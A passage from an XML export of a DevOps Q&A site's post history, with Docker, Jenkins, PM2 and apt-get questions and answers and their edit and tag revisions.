if you do this, and your container restarts, or gets another IP address, that this will not automatically update, and unless you use iptables-save and iptables-restore in your startup and cron scripts, these manually created rules will disappear. Also that the docker command and compose scripts won't know about any configuration that you manually add like this.&#xD;&#xA;&#xD;&#xA;If you really want localhost in your container to point somewhere else, you can edit /etc/hosts inside the container, and change the IP address of localhost - be very keenly aware that other things might break, because localhost is supposed to point to the same host, not another one, so there will be unintended consequences at some point. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23474" PostHistoryTypeId="2" PostId="8085" RevisionGUID="2523990e-e716-4a5f-8349-0e68d6fdf436" CreationDate="2019-05-10T15:13:48.107" UserId="14885" Text="The workdir for the parent image is /root. You can try to omit the WORKDIR statement. The build script might be working in the current directory, which would not be /root, but /workdir. Or you can add WORKDIR /root again before CMD. &#xD;&#xA; &#xD;&#xA;Also don't forget some basic checks, eg. &#xD;&#xA;&#xD;&#xA;    df -h &#xD;&#xA;&#xD;&#xA;to check if your server has enough free space (granted, it would have given an error message.) Also remove old containers: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker ps -a &#xD;&#xA;    docker rm containername&#xD;&#xA;    docker images&#xD;&#xA;    docker rmi imagename&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23475" PostHistoryTypeId="2" PostId="8086" RevisionGUID="bfdfcb1e-4814-46d6-8f9f-3926cba3fa19" CreationDate="2019-05-10T15:22:34.067" UserId="14885" Text="Don't quote the command you're trying to run, just do:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v ~/Users/mow/Documents/devFolder/testdev:/app testdev_php php ./vendor/bin/phpunit&#xD;&#xA;&#xD;&#xA;Your image is looking for a file called &quot;php ./vendor/bin/phpunit&quot; instead of looking for &quot;php&quot; and passing everything else on the line to it. &#xD;&#xA;&#xD;&#xA;This is the real reason docker requires all your parameters before the image, because the parameter after the image is the command and everything after it is parameters to that command - don't quote everything. &#xD;&#xA;&#xD;&#xA;The Dockerfile equivalent is:&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT [&quot;/init&quot;,&quot;parameter1&quot;,&quot;parameter2&quot;,&quot;parameter3&quot;]&#xD;&#xA;&#xD;&#xA;If it still doesn't work, check the parent Dockerfiles for the location of &quot;php&quot; &#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v ~/Users/mow/Documents/devFolder/testdev:/app testdev_php /usr/local/bin/php ./vendor/bin/phpunit&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23476" PostHistoryTypeId="2" PostId="8087" RevisionGUID="7d4a56fe-1bb3-431e-9212-95ae7a5c0d24" CreationDate="2019-05-10T15:28:53.517" UserId="14885" Text="You need to learn a bit more about Debian or Ubuntu. If you look at every single Debian or Ubuntu container that installs things, you will notice, amongst other things:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    apt-get update &amp;&amp; apt -f install [whatever]&#xD;&#xA;&#xD;&#xA;The reason for this is that aptitude doesn't know where to find anything without the &quot;apt update&quot;.&#xD;&#xA;&#xD;&#xA;See for example  https://github.com/dockerfile/ubuntu/blob/master/Dockerfile&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Install.&#xD;&#xA;    RUN \&#xD;&#xA;      sed -i 's/# \(.*multiverse$\)/\1/g' /etc/apt/sources.list &amp;&amp; \&#xD;&#xA;      apt-get update &amp;&amp; \&#xD;&#xA;      apt-get -y upgrade &amp;&amp; \&#xD;&#xA;      apt-get install -y build-essential &amp;&amp; \&#xD;&#xA;      apt-get install -y software-properties-common &amp;&amp; \&#xD;&#xA;      apt-get install -y byobu curl git htop man unzip vim wget &amp;&amp; \&#xD;&#xA;      rm -rf /var/lib/apt/lists/*&#xD;&#xA;&#xD;&#xA;This updates all packages, then installs build-essential, then software-properties-common and then the packages in the second to last line. Of course you don't need all of this. &#xD;&#xA;&#xD;&#xA;It is important however to have the apt-get update &amp;&amp; apt-get install on the same line, if you are ever going to deploy your Dockerfile to any CI system. If apt-get update is on its own line, then that layer will never get invalidated as the succeeding layers will have old sources that they build consequent layers from. Keep in mind that every single command generates its own layer, that is why commands are chained in this way - so as to create one layer instead of many that will never serve any purpose. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23477" PostHistoryTypeId="2" PostId="8088" RevisionGUID="1b33bc10-6b6d-4cb6-b3b8-eb4dd7641c73" CreationDate="2019-05-10T15:33:15.747" UserId="14885" Text="The Docker website doesn't know about your operating system and has no docker installation for you. &#xD;&#xA;&#xD;&#xA;Try the one packaged by raspbian:&#xD;&#xA;&#xD;&#xA;    sudo apt install docker.io&#xD;&#xA;&#xD;&#xA;The name is different in some distributions, you can use:&#xD;&#xA;&#xD;&#xA;    apt-cache search docker&#xD;&#xA;&#xD;&#xA;To see if you can find one. If you can't find any, then switch to an older (or newer?) version of Raspbian. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23478" PostHistoryTypeId="5" PostId="8088" RevisionGUID="351debc5-a9e9-4976-b63b-5f52c4274edc" CreationDate="2019-05-10T16:19:48.787" UserId="14885" Comment="added 78 characters in body" Text="The Docker website doesn't know about your operating system and has no docker installation for you. &#xD;&#xA;&#xD;&#xA;Try the one packaged by raspbian:&#xD;&#xA;&#xD;&#xA;    sudo apt install docker.io&#xD;&#xA;&#xD;&#xA;The name is different in some distributions, you can use:&#xD;&#xA;&#xD;&#xA;    apt-cache search docker&#xD;&#xA;&#xD;&#xA;To see if you can find one. If you can't find any, then switch to an older (or newer?) version of Raspbian. &#xD;&#xA;&#xD;&#xA;Or you can search for instructions on how to compile it from source code. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23483" PostHistoryTypeId="2" PostId="8089" RevisionGUID="b3a0f72b-2b21-412c-8726-f57c293c8174" CreationDate="2019-05-11T05:03:17.183" UserId="12994" Text="On doing&#xD;&#xA;&#xD;&#xA;    $ docker history --no-trunc golang:1.7&#xD;&#xA;&#xD;&#xA;it gives the output:&#xD;&#xA;&#xD;&#xA;    /bin/sh -c #(nop) COPY file:f6191f2c86edc9343569339f101facba47e886e33e29d70da6916ca6b1101a53 in /usr/local/bin/                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2.48kB              &#xD;&#xA;    /bin/sh -c #(nop) WORKDIR /go                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            0B                  &#xD;&#xA;    /bin/sh -c mkdir -p &quot;$GOPATH/src&quot; &quot;$GOPATH/bin&quot; &amp;&amp; chmod -R 777 &quot;$GOPATH&quot;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                0B                  &#xD;&#xA;    /bin/sh -c #(nop)  ENV PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       0B                  &#xD;&#xA;    /bin/sh -c #(nop)  ENV GOPATH=/go                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0B                  &#xD;&#xA;    /bin/sh -c set -eux;   dpkgArch=&quot;$(dpkg --print-architecture)&quot;;  case &quot;${dpkgArch##*-}&quot; in   amd64) goRelArch='linux-amd64'; goRelSha256='ad5808bf42b014c22dd7646458f631385003049ded0bb6af2efc7f1f79fa29ea' ;;   armhf) goRelArch='linux-armv6l'; goRelSha256='fc5c40fb1f76d0978504b94cd06b5ea6e0e216ba1d494060d081e022540900f8' ;;   i386) goRelArch='linux-386'; goRelSha256='99f79d4e0f966f492794963ecbf4b08c16a9a268f2c09053a5ce10b343ee4082' ;;   ppc64el) goRelArch='linux-ppc64le'; goRelSha256='8b5b602958396f165a3547a1308ab91ae3f2ad8ecb56063571a37aadc2df2332' ;;   s390x) goRelArch='linux-s390x'; goRelSha256='d692643d1ac4f4dea8fb6d949ffa750e974e63ff0ee6ca2a7c38fc7c90da8b5b' ;;   *) goRelArch='src'; goRelSha256='1a67a4e688673fdff7ba41e73482b0e59ac5bd0f7acf703bc6d50cc775c5baba';    echo &gt;&amp;2; echo &gt;&amp;2 &quot;warning: current architecture ($dpkgArch) does not have a corresponding Go binary release; will be building from source&quot;; echo &gt;&amp;2 ;;  esac;   url=&quot;https://golang.org/dl/go${GOLANG_VERSION}.${goRelArch}.tar.gz&quot;;  wget -O go.tgz &quot;$url&quot;;  echo &quot;${goRelSha256} *go.tgz&quot; | sha256sum -c -;  tar -C /usr/local -xzf go.tgz;  rm go.tgz;   if [ &quot;$goRelArch&quot; = 'src' ]; then   echo &gt;&amp;2;   echo &gt;&amp;2 'error: UNIMPLEMENTED';   echo &gt;&amp;2 'TODO install golang-any from jessie-backports for GOROOT_BOOTSTRAP (and uninstall after build)';   echo &gt;&amp;2;   exit 1;  fi;   export PATH=&quot;/usr/local/go/bin:$PATH&quot;;  go version   247MB               &#xD;&#xA;    /bin/sh -c #(nop)  ENV GOLANG_VERSION=1.7.6                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              0B                  &#xD;&#xA;    /bin/sh -c apt-get update &amp;&amp; apt-get install -y --no-install-recommends   g++   gcc   libc6-dev   make   pkg-config  &amp;&amp; rm -rf /var/lib/apt/lists/*                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      139MB               &#xD;&#xA;    /bin/sh -c apt-get update &amp;&amp; apt-get install -y --no-install-recommends   bzr   git   mercurial   openssh-client   subversion     procps  &amp;&amp; rm -rf /var/lib/apt/lists/*                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 123MB               &#xD;&#xA;    /bin/sh -c set -ex;  if ! command -v gpg &gt; /dev/null; then   apt-get update;   apt-get install -y --no-install-recommends    gnupg2    dirmngr   ;   rm -rf /var/lib/apt/lists/*;  fi                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    0B                  &#xD;&#xA;    /bin/sh -c apt-get update &amp;&amp; apt-get install -y --no-install-recommends   ca-certificates   curl   wget  &amp;&amp; rm -rf /var/lib/apt/lists/*                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  44.6MB              &#xD;&#xA;    /bin/sh -c #(nop)  CMD [&quot;bash&quot;]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0B                  &#xD;&#xA;    /bin/sh -c #(nop) ADD file:a023a99f7d01868b164d63bfaf8aabc7f271659c69939c3854f041f5a3217428 in /                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         123MB               &#xD;&#xA;&#xD;&#xA;I see them using apt-get so it is probably some kind of debian distribution.&#xD;&#xA;&#xD;&#xA;What is the base distribution of this container? Is it ubuntu/alpine/... something else?&#xD;&#xA;&#xD;&#xA;What does this mean?&#xD;&#xA;&#xD;&#xA;    /bin/sh -c #(nop) ADD file:a023a99f7d01868b164d63bfaf8aabc7f271659c69939c3854f041f5a3217428 in /                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         123MB               &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23484" PostHistoryTypeId="1" PostId="8089" RevisionGUID="b3a0f72b-2b21-412c-8726-f57c293c8174" CreationDate="2019-05-11T05:03:17.183" UserId="12994" Text="What is the parent linux image of golang:1.7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23485" PostHistoryTypeId="3" PostId="8089" RevisionGUID="b3a0f72b-2b21-412c-8726-f57c293c8174" CreationDate="2019-05-11T05:03:17.183" UserId="12994" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23486" PostHistoryTypeId="2" PostId="8090" RevisionGUID="b082e70d-944b-4b92-8c00-5a46930d81c9" CreationDate="2019-05-11T05:27:08.513" UserId="11759" Text="I want to make my PM2 as a startup service, because for example when my server loses the power or something happens to do it restart the PM2 service is not autostarting." ContentLicense="CC BY-SA 4.0" />
  <row Id="23487" PostHistoryTypeId="1" PostId="8090" RevisionGUID="b082e70d-944b-4b92-8c00-5a46930d81c9" CreationDate="2019-05-11T05:27:08.513" UserId="11759" Text="How to make PM2 as a autostart service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23488" PostHistoryTypeId="3" PostId="8090" RevisionGUID="b082e70d-944b-4b92-8c00-5a46930d81c9" CreationDate="2019-05-11T05:27:08.513" UserId="11759" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23489" PostHistoryTypeId="2" PostId="8091" RevisionGUID="f2027b0e-e747-4d43-b856-99c727c30f0e" CreationDate="2019-05-11T05:27:08.513" UserId="11759" Text="When configuring PM2 is finished and it's working properly, you must run two commands to make your PM2 as a autostart service and enjoy that.&#xD;&#xA;1) Run 'pm2 save': It's save all of your PM2 configure to a file.&#xD;&#xA;&#xD;&#xA;    admin@server:~$ sudo pm2 save&#xD;&#xA;&#xD;&#xA;2) Run 'pm2 startup': This command creates a system service and runs your last change saved with the first step. &#xD;&#xA;&#xD;&#xA;    admin@server:~$ sudo pm2 startup&#xD;&#xA;&#xD;&#xA;So, Run the first command when you changed the configuration to store the last changes." ContentLicense="CC BY-SA 4.0" />
  <row Id="23493" PostHistoryTypeId="50" PostId="5620" RevisionGUID="97e6f130-4b1d-45bc-84f6-ddc913b39809" CreationDate="2019-05-11T16:02:00.507" UserId="-1" />
  <row Id="23494" PostHistoryTypeId="50" PostId="5700" RevisionGUID="76bdac3e-6c85-443c-bbd7-9791785c0c59" CreationDate="2019-05-11T17:02:45.530" UserId="-1" />
  <row Id="23495" PostHistoryTypeId="2" PostId="8093" RevisionGUID="61030e65-a58c-4346-899d-4fa6292c71b3" CreationDate="2019-05-12T01:56:00.973" UserId="13551" Text="The base image is `buildpack-deps:jessie-scm` based on [the Dockerfile here](https://github.com/docker-library/golang/blob/64b88dc3e9d83e71eafc000fed1f0d5e289b3e65/1.7/Dockerfile). So the linux distro is Debian Jessie.&#xD;&#xA;&#xD;&#xA;The `ADD file: ...` line shows that the first layer in the image was created by ADDing some files from outside the image (similar to &quot;COPY&quot; shown in the other layers)&#xD;&#xA;&#xD;&#xA;From [Dockerfile reference](https://docs.docker.com/engine/reference/builder/#add):&#xD;&#xA;&#xD;&#xA;&gt; The ADD instruction copies new files, directories or remote file URLs from &lt;src&gt; and adds them to the filesystem of the image at the path &lt;dest&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23496" PostHistoryTypeId="5" PostId="8093" RevisionGUID="094bf32f-4c88-4815-98ac-fab863786da7" CreationDate="2019-05-12T06:52:10.043" UserId="13551" Comment="edited body" Text="The base image is `buildpack-deps:jessie-scm` based on [the Dockerfile here](https://github.com/docker-library/golang/blob/64b88dc3e9d83e71eafc000fed1f0d5e289b3e65/1.7/Dockerfile). So the linux distro is Debian Jessie.&#xD;&#xA;&#xD;&#xA;The `ADD file: ...` line shows that the first layer in the image was created by adding some files from outside the image (similar to &quot;COPY&quot; shown in the other layers)&#xD;&#xA;&#xD;&#xA;From [Dockerfile reference](https://docs.docker.com/engine/reference/builder/#add):&#xD;&#xA;&#xD;&#xA;&gt; The ADD instruction copies new files, directories or remote file URLs from &lt;src&gt; and adds them to the filesystem of the image at the path &lt;dest&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23497" PostHistoryTypeId="2" PostId="8094" RevisionGUID="ed67e25b-e726-466b-a786-ac86fd139ce0" CreationDate="2019-05-12T09:04:24.540" UserId="13111" Text="You are using docker wrongly in this case IMHO and I have a serious doubt that your `docker exec` command is targeting the correct container because, from what I see (and my very limited knowledge of sbt/scala), it should be dead by the time the jar is published. Let me explain.&#xD;&#xA;&#xD;&#xA;`sbt publishLocal` is not a long living command. It will exit when the jar is published to the local `.ivy` store on disk. So when you launch a container from your image in foreground with `docker run --name mytestcontainer myproject:v1` (I added a name for easier debugging purpose on your side...), I am pretty sure you see all your above logs and that the command exits back to your shell.&#xD;&#xA;&#xD;&#xA;At this point, if you issue a `docker ps`, your `mytestcontainer` will not show up, unless with `docker ps -a`where it will be listed in the exited container. If you try to start it again (`docker start mytestcontainer`), it will exit as soon as the jar is re-compiled/published. So there is no way to target an `exec` on this container since it is not running. The only way to have a shell in a running container out of this image is to override the start command in `docker run` but this will bypass your jar publication.&#xD;&#xA;&#xD;&#xA;Now, what you first want is to publish the jar as part of the image, not to compile/publish it everytime you start a container out of the image.&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM hseeberger/scala-sbt:11.0.2_2.12.8_1.2.8&#xD;&#xA;MAINTAINER Sara Waheed &lt;sarawaheed3191@gmail.com&gt;&#xD;&#xA;&#xD;&#xA;WORKDIR /myproject&#xD;&#xA;ADD . /myproject&#xD;&#xA;&#xD;&#xA;RUN sbt publishLocal&#xD;&#xA;```&#xD;&#xA;In this case, the jar will be published during the build&#xD;&#xA;```bash&#xD;&#xA;docker build -t myproject:v1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can then run a container out of your image dropping to jshell as intended by the base image you are using:&#xD;&#xA;```bash&#xD;&#xA;docker run -it --rm --name testcontainer myproject:v1&#xD;&#xA;May 12, 2019 8:31:33 AM java.util.prefs.FileSystemPreferences$1 run&#xD;&#xA;INFO: Created user preferences directory.&#xD;&#xA;|  Welcome to JShell -- Version 11.0.2&#xD;&#xA;|  For an introduction type: /help intro&#xD;&#xA;&#xD;&#xA;jshell&gt;&#xD;&#xA;```&#xD;&#xA;Or if you want a more classic bash shell, you can override the start command:&#xD;&#xA;```bash&#xD;&#xA;docker run -it --rm --name testcontainer myproject:v1 /bin/bash&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;To go further, if your intent is to deliver your application in a ready to use image, you should have a look at [Docker multistage builds](https://docs.docker.com/develop/develop-images/multistage-build/). The idea is to build your jar in an image containing all the needed build tools and to copy the produced artifacts to an other image intended only for run that you will finally distribute. Here is the basic idea from your example. Image/command used are solely for illustration purpose and the process is highly perfectible (e.g. harcoded version....):&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM hseeberger/scala-sbt:11.0.2_2.12.8_1.2.8 as build&#xD;&#xA;WORKDIR /myproject&#xD;&#xA;ADD . /myproject&#xD;&#xA;RUN sbt publishLocal&#xD;&#xA;&#xD;&#xA;FROM openjdk:8-alpine&#xD;&#xA;WORKDIR /myproject&#xD;&#xA;COPY --from=build /root/.ivy2/local/com.test/myproject/1.0.1/jars/myproject.jar .&#xD;&#xA;CMD['java', '-jar', 'myproject.jar']&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23498" PostHistoryTypeId="2" PostId="8095" RevisionGUID="5fd2bac2-0576-4c9e-8a28-586bccea28a7" CreationDate="2019-05-12T09:32:25.667" UserId="10466" Text="I need to run command during my pipeline at certain stage, on devices which connected to my Jenkins as slaves.&#xD;&#xA;but I want them to run only when another one finished...&#xD;&#xA;on the other hand I want them to run all previous stages before they &quot;wait&quot; for another device to finish.&#xD;&#xA;what is the best way to implement this lock? &#xD;&#xA;again, it is the same job, but different slaves.&#xD;&#xA;&#xD;&#xA;thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="23499" PostHistoryTypeId="1" PostId="8095" RevisionGUID="5fd2bac2-0576-4c9e-8a28-586bccea28a7" CreationDate="2019-05-12T09:32:25.667" UserId="10466" Text="Jenkins pipeline lock resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="23500" PostHistoryTypeId="3" PostId="8095" RevisionGUID="5fd2bac2-0576-4c9e-8a28-586bccea28a7" CreationDate="2019-05-12T09:32:25.667" UserId="10466" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23504" PostHistoryTypeId="6" PostId="2422" RevisionGUID="c314b87d-8a86-4536-99d3-cdf58edafdc8" CreationDate="2019-05-12T11:42:44.763" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23505" PostHistoryTypeId="2" PostId="8097" RevisionGUID="9e5efdf4-d03b-42f4-83f8-555654fa7d26" CreationDate="2019-05-12T11:47:00.270" UserId="210" Text="[The Bitbucket Cloud Build Status Notifier (BCBSN)][1] is a tool that is able to update the build status in bitbucket cloud.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/golang-bitbucket-cloud-build-status-notifier" ContentLicense="CC BY-SA 4.0" />
  <row Id="23506" PostHistoryTypeId="1" PostId="8097" RevisionGUID="9e5efdf4-d03b-42f4-83f8-555654fa7d26" CreationDate="2019-05-12T11:47:00.270" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23507" PostHistoryTypeId="2" PostId="8098" RevisionGUID="8ccebc7c-b709-4d7c-a059-4af1af714f67" CreationDate="2019-05-12T11:47:00.270" UserId="210" Text="Use this tag if a question is about the Bitbucket Cloud Build Status Notifier (BCBSN)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23508" PostHistoryTypeId="1" PostId="8098" RevisionGUID="8ccebc7c-b709-4d7c-a059-4af1af714f67" CreationDate="2019-05-12T11:47:00.270" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23509" PostHistoryTypeId="5" PostId="6594" RevisionGUID="08c6b5de-1668-480e-b477-703cf282d78a" CreationDate="2019-05-12T11:48:03.213" UserId="210" Comment="deleted 45 characters in body" Text="One could also use [bcbsn][1] as a replacement. This tool associates the build status with the right commit and sends the build status to the right repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/golang-bitbucket-cloud-build-status-notifier" ContentLicense="CC BY-SA 4.0" />
  <row Id="23513" PostHistoryTypeId="2" PostId="8100" RevisionGUID="bfa65cc8-ac66-4ee7-8924-9c3870e5bbb5" CreationDate="2019-05-12T12:07:09.540" UserId="786" Text="I don't have a SQL Server on AWS to check, but you could see if it's in [xp_msver](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-msver-transact-sql?view=sql-server-2017), or figure it out from `ProcessorCount`, `ProcessorType` and `PhysicalMemory` in that sproc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23515" PostHistoryTypeId="6" PostId="6583" RevisionGUID="310ec299-dda0-4977-bace-dcc41789388c" CreationDate="2019-05-12T12:25:22.300" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;builds&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23516" PostHistoryTypeId="5" PostId="8097" RevisionGUID="fd956cf9-72bb-4c09-9bde-e807ee308bc5" CreationDate="2019-05-12T12:26:04.363" UserId="210" Comment="deleted 39 characters in body" Text="[The Bitbucket Cloud Build Status Notifier (BCBSN)][1] is a tool that is able to update the build status in bitbucket cloud.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/bcbsn" ContentLicense="CC BY-SA 4.0" />
  <row Id="23517" PostHistoryTypeId="2" PostId="8101" RevisionGUID="62c0e000-0dc8-4365-a1bd-ab5aab5ca643" CreationDate="2019-05-12T12:26:23.310" UserId="7162" Text="I'm running a CI/CD pipeline that builds my service and ends with `docker-compose up -d` which brings up the service with a new docker image tag (`my-service:tag1`).&#xD;&#xA;&#xD;&#xA;But when looking at `docker ps -a` the previous container (that was running image `service:tag0`) doesn't appear anymore, and I can't access its logs.&#xD;&#xA;&#xD;&#xA;Why does docker-compose remove the previous container?&#xD;&#xA;&#xD;&#xA;Is there a way to see the logs of the previous containers? " ContentLicense="CC BY-SA 4.0" />
  <row Id="23518" PostHistoryTypeId="1" PostId="8101" RevisionGUID="62c0e000-0dc8-4365-a1bd-ab5aab5ca643" CreationDate="2019-05-12T12:26:23.310" UserId="7162" Text="How to keep previous containers on docker-compose up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23519" PostHistoryTypeId="3" PostId="8101" RevisionGUID="62c0e000-0dc8-4365-a1bd-ab5aab5ca643" CreationDate="2019-05-12T12:26:23.310" UserId="7162" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23520" PostHistoryTypeId="6" PostId="809" RevisionGUID="234f52af-6211-411b-adc0-cfa1e316fcfe" CreationDate="2019-05-12T12:29:55.213" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23522" PostHistoryTypeId="6" PostId="1049" RevisionGUID="af8ca2bc-2cad-4476-b3e9-ba6db7caadb2" CreationDate="2019-05-12T12:30:54.257" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;&lt;codefresh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23523" PostHistoryTypeId="6" PostId="1525" RevisionGUID="7cdcb803-d23e-4902-9347-eb07f162aea8" CreationDate="2019-05-12T12:31:34.267" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23524" PostHistoryTypeId="6" PostId="4939" RevisionGUID="7231032f-387a-47bf-b950-c585da80416c" CreationDate="2019-05-12T12:31:45.523" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23525" PostHistoryTypeId="6" PostId="1312" RevisionGUID="a36d8b91-480e-47c7-b52d-3f92ec322e94" CreationDate="2019-05-12T12:32:09.260" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23526" PostHistoryTypeId="6" PostId="3959" RevisionGUID="60f35c9f-4ebc-455e-8fce-012e5077370b" CreationDate="2019-05-12T12:32:22.987" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;bitbucket&gt;&lt;bcbsn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23527" PostHistoryTypeId="5" PostId="8077" RevisionGUID="89d9b8c9-02ee-47e8-8579-2d3a2d665d29" CreationDate="2019-05-12T12:34:35.183" UserId="40" Comment="deleted 50 characters in body" Text="I am still learning about DevOps, I wonder in Academia the workloads can often be quite heavy, I noticed there are variations on the DevOps methodology, is e.g. stuff like: DataOps and DevSecOps.&#xD;&#xA;&#xD;&#xA;I wonder if there is something like StudentOps or similar to this especially targetted to the more scientific and computer science like subjects? I have noticed a similar question: https://devops.stackexchange.com/questions/6719 . But this does not explain why additionally one has not been developed for academia." ContentLicense="CC BY-SA 4.0" />
  <row Id="23528" PostHistoryTypeId="50" PostId="5709" RevisionGUID="891381e3-b9a9-42e8-8002-266f0d605d32" CreationDate="2019-05-12T14:02:05.400" UserId="-1" />
  <row Id="23529" PostHistoryTypeId="2" PostId="8102" RevisionGUID="5ec75b32-7b44-4653-a09d-6ef628b9de55" CreationDate="2019-05-12T14:52:24.060" UserId="7730" Text="`docker-compose up` will remove containers when:&#xD;&#xA;&#xD;&#xA;- The service name is the same, but has a change, in which case the old container is replaced with the new state of the service&#xD;&#xA;- You include the `--remove-orphans` option when running `docker-compose`&#xD;&#xA;&#xD;&#xA;Otherwise, if you change the name of the service, and do not specify `--remove-orphans`, you will see &quot;orphaned&quot; containers still running." ContentLicense="CC BY-SA 4.0" />
  <row Id="23533" PostHistoryTypeId="5" PostId="3206" RevisionGUID="e67ea0df-ed22-46de-97ee-164f07a18881" CreationDate="2019-05-12T16:04:33.777" UserId="210" Comment="deleted 2 characters in body" Text="If you are building these artifacts for a release/deploy, you will want them to be in as ready to release of a package as possible. If that is as a .zip, then yes you should create the .zip on the Jenkins server, then upload to Nexus. Your deploy system will then download, decompress, and manipulate the artifact as seen fit. In general, I would only use the node running Nexus to store artifacts and not execute any &quot;build-like&quot; processes. That is exactly what Jenkins was made for." ContentLicense="CC BY-SA 4.0" />
